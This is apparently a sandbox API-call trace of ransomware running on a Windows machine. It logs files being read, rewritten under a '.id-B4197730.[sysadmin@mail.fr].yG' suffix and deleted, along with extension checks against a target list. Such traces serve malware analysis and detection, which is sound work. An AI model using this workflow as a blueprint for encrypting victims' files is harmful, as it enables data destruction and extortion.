	[0043.787] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0043.787] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.788] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.788] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0043.788] GetLastError () returned 0x0
	[0043.788] ReadFile (in: hFile=0x34c, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0xed0c, lpOverlapped=0x0) returned 1
	[0043.979] WriteFile (in: hFile=0x350, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xed10, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xed10, lpOverlapped=0x0) returned 1
	[0043.981] ReadFile (in: hFile=0x34c, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0043.982] WriteFile (in: hFile=0x350, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0043.982] SetEndOfFile (hFile=0x350) returned 1
	[0043.982] CloseHandle (hObject=0x350) returned 1
	[0043.983] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.983] SetEndOfFile (hFile=0x34c) returned 1
	[0043.984] CloseHandle (hObject=0x34c) returned 1
	[0043.984] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0043.985] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml")) returned 1
	[0043.985] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44
	[0043.985] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44
	[0043.985] lstrlenW (lpString=".doc") returned 4
	[0043.985] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0043.985] lstrlenW (lpString=".docx") returned 5
	[0043.985] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0043.985] lstrlenW (lpString=".pdf") returned 4
	[0043.985] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0043.985] lstrlenW (lpString=".xls") returned 4
	[0043.985] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0043.985] lstrlenW (lpString=".xlsx") returned 5
	[0043.985] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0043.985] lstrlenW (lpString=".ppt") returned 4
	[0043.985] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0043.985] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44
	[0043.985] lstrlenW (lpString=".zip") returned 4
	[0043.985] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0043.985] lstrlenW (lpString=".rar") returned 4
	[0043.985] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0043.985] lstrlenW (lpString=".bz2") returned 4
	[0043.985] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0043.985] lstrlenW (lpString=".7z") returned 3
	[0043.985] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0043.985] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44
	[0043.985] lstrlenW (lpString=".dbf") returned 4
	[0043.985] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0043.985] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44
	[0043.985] lstrlenW (lpString=".1cd") returned 4
	[0043.985] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0043.985] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44
	[0043.985] lstrlenW (lpString=".jpg") returned 4
	[0043.986] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0043.986] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44
	[0043.986] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44
	[0043.986] lstrlenW (lpString=".doc") returned 4
	[0043.986] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0043.986] lstrlenW (lpString=".docx") returned 5
	[0043.986] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0043.986] lstrlenW (lpString=".pdf") returned 4
	[0043.986] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0043.986] lstrlenW (lpString=".xls") returned 4
	[0043.986] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0043.986] lstrlenW (lpString=".xlsx") returned 5
	[0043.986] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0043.986] lstrlenW (lpString=".ppt") returned 4
	[0043.986] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0043.986] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44
	[0043.986] lstrlenW (lpString=".zip") returned 4
	[0043.986] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0043.986] lstrlenW (lpString=".rar") returned 4
	[0043.986] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0043.986] lstrlenW (lpString=".bz2") returned 4
	[0043.986] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0043.986] lstrlenW (lpString=".7z") returned 3
	[0043.986] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0043.986] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44
	[0043.986] lstrlenW (lpString=".dbf") returned 4
	[0043.986] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0043.986] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44
	[0043.986] lstrlenW (lpString=".1cd") returned 4
	[0043.986] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0043.986] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44
	[0043.986] lstrlenW (lpString=".jpg") returned 4
	[0043.986] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0043.987] lstrcmpiW (lpString1=".rtf", lpString2=".yG") returned -1
	[0043.987] lstrlenW (lpString="eula.rtf") returned 8
	[0043.987] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0043.991] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=4015) returned 1
	[0043.991] CloseHandle (hObject=0x34c) returned 1
	[0043.991] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf")) returned 0x80
	[0043.991] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0043.991] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0043.991] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.991] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.991] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0043.991] GetLastError () returned 0x0
	[0043.991] ReadFile (in: hFile=0x34c, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0xfaf, lpOverlapped=0x0) returned 1
	[0044.069] WriteFile (in: hFile=0x350, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xfb0, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xfb0, lpOverlapped=0x0) returned 1
	[0044.070] ReadFile (in: hFile=0x34c, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0044.071] WriteFile (in: hFile=0x350, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0044.071] SetEndOfFile (hFile=0x350) returned 1
	[0044.071] CloseHandle (hObject=0x350) returned 1
	[0044.071] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.072] SetEndOfFile (hFile=0x34c) returned 1
	[0044.072] CloseHandle (hObject=0x34c) returned 1
	[0044.072] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0044.073] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf")) returned 1
	[0044.073] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35
	[0044.073] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35
	[0044.073] lstrlenW (lpString=".doc") returned 4
	[0044.073] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0044.073] lstrlenW (lpString=".docx") returned 5
	[0044.073] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0044.073] lstrlenW (lpString=".pdf") returned 4
	[0044.074] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0044.074] lstrlenW (lpString=".xls") returned 4
	[0044.074] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0044.074] lstrlenW (lpString=".xlsx") returned 5
	[0044.074] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0044.074] lstrlenW (lpString=".ppt") returned 4
	[0044.074] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0044.074] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35
	[0044.074] lstrlenW (lpString=".zip") returned 4
	[0044.074] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0044.074] lstrlenW (lpString=".rar") returned 4
	[0044.074] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0044.074] lstrlenW (lpString=".bz2") returned 4
	[0044.074] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0044.074] lstrlenW (lpString=".7z") returned 3
	[0044.074] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0044.074] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35
	[0044.074] lstrlenW (lpString=".dbf") returned 4
	[0044.074] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0044.074] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35
	[0044.074] lstrlenW (lpString=".1cd") returned 4
	[0044.074] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0044.074] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35
	[0044.074] lstrlenW (lpString=".jpg") returned 4
	[0044.074] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0044.074] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35
	[0044.074] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35
	[0044.074] lstrlenW (lpString=".doc") returned 4
	[0044.074] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0044.074] lstrlenW (lpString=".docx") returned 5
	[0044.074] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0044.075] lstrlenW (lpString=".pdf") returned 4
	[0044.075] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0044.075] lstrlenW (lpString=".xls") returned 4
	[0044.075] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0044.075] lstrlenW (lpString=".xlsx") returned 5
	[0044.075] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0044.075] lstrlenW (lpString=".ppt") returned 4
	[0044.075] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0044.075] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35
	[0044.075] lstrlenW (lpString=".zip") returned 4
	[0044.075] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0044.075] lstrlenW (lpString=".rar") returned 4
	[0044.075] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0044.075] lstrlenW (lpString=".bz2") returned 4
	[0044.075] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0044.075] lstrlenW (lpString=".7z") returned 3
	[0044.075] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0044.075] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35
	[0044.075] lstrlenW (lpString=".dbf") returned 4
	[0044.075] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0044.075] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35
	[0044.075] lstrlenW (lpString=".1cd") returned 4
	[0044.075] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0044.075] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35
	[0044.075] lstrlenW (lpString=".jpg") returned 4
	[0044.075] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0044.075] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0044.075] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0044.076] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0044.076] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=80254) returned 1
	[0044.076] CloseHandle (hObject=0x34c) returned 1
	[0044.076] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml")) returned 0x80
	[0044.076] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0044.076] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0044.076] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.076] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.076] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0044.076] GetLastError () returned 0x0
	[0044.076] ReadFile (in: hFile=0x34c, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x1397e, lpOverlapped=0x0) returned 1
	[0044.220] WriteFile (in: hFile=0x350, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x13980, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x13980, lpOverlapped=0x0) returned 1
	[0044.221] ReadFile (in: hFile=0x34c, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0044.222] WriteFile (in: hFile=0x350, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0044.222] SetEndOfFile (hFile=0x350) returned 1
	[0044.222] CloseHandle (hObject=0x350) returned 1
	[0044.224] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.224] SetEndOfFile (hFile=0x34c) returned 1
	[0044.225] CloseHandle (hObject=0x34c) returned 1
	[0044.225] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0044.225] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml")) returned 1
	[0044.225] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44
	[0044.225] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44
	[0044.225] lstrlenW (lpString=".doc") returned 4
	[0044.225] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0044.226] lstrlenW (lpString=".docx") returned 5
	[0044.226] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0044.226] lstrlenW (lpString=".pdf") returned 4
	[0044.226] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0044.226] lstrlenW (lpString=".xls") returned 4
	[0044.226] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0044.226] lstrlenW (lpString=".xlsx") returned 5
	[0044.226] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0044.226] lstrlenW (lpString=".ppt") returned 4
	[0044.226] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0044.226] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44
	[0044.226] lstrlenW (lpString=".zip") returned 4
	[0044.226] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0044.226] lstrlenW (lpString=".rar") returned 4
	[0044.226] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0044.226] lstrlenW (lpString=".bz2") returned 4
	[0044.226] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0044.226] lstrlenW (lpString=".7z") returned 3
	[0044.226] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0044.226] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44
	[0044.226] lstrlenW (lpString=".dbf") returned 4
	[0044.226] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0044.226] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44
	[0044.226] lstrlenW (lpString=".1cd") returned 4
	[0044.226] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0044.226] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44
	[0044.226] lstrlenW (lpString=".jpg") returned 4
	[0044.226] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0044.226] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44
	[0044.226] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44
	[0044.226] lstrlenW (lpString=".doc") returned 4
	[0044.226] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0044.226] lstrlenW (lpString=".docx") returned 5
	[0044.226] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0044.226] lstrlenW (lpString=".pdf") returned 4
	[0044.226] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0044.227] lstrlenW (lpString=".xls") returned 4
	[0044.227] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0044.227] lstrlenW (lpString=".xlsx") returned 5
	[0044.227] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0044.227] lstrlenW (lpString=".ppt") returned 4
	[0044.227] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0044.227] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44
	[0044.227] lstrlenW (lpString=".zip") returned 4
	[0044.227] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0044.227] lstrlenW (lpString=".rar") returned 4
	[0044.227] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0044.227] lstrlenW (lpString=".bz2") returned 4
	[0044.227] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0044.227] lstrlenW (lpString=".7z") returned 3
	[0044.227] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0044.227] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44
	[0044.227] lstrlenW (lpString=".dbf") returned 4
	[0044.227] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0044.227] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44
	[0044.227] lstrlenW (lpString=".1cd") returned 4
	[0044.227] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0044.227] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44
	[0044.227] lstrlenW (lpString=".jpg") returned 4
	[0044.227] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0044.227] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0044.227] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0044.227] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0044.242] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=79996) returned 1
	[0044.242] CloseHandle (hObject=0x2e4) returned 1
	[0044.242] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml")) returned 0x80
	[0044.243] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0044.243] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0044.243] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.243] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.243] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0044.249] GetLastError () returned 0x0
	[0044.249] ReadFile (in: hFile=0x2e4, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x1387c, lpOverlapped=0x0) returned 1
	[0044.353] WriteFile (in: hFile=0x35c, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x13880, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x13880, lpOverlapped=0x0) returned 1
	[0044.355] ReadFile (in: hFile=0x2e4, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0044.355] WriteFile (in: hFile=0x35c, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0044.355] SetEndOfFile (hFile=0x35c) returned 1
	[0044.359] CloseHandle (hObject=0x35c) returned 1
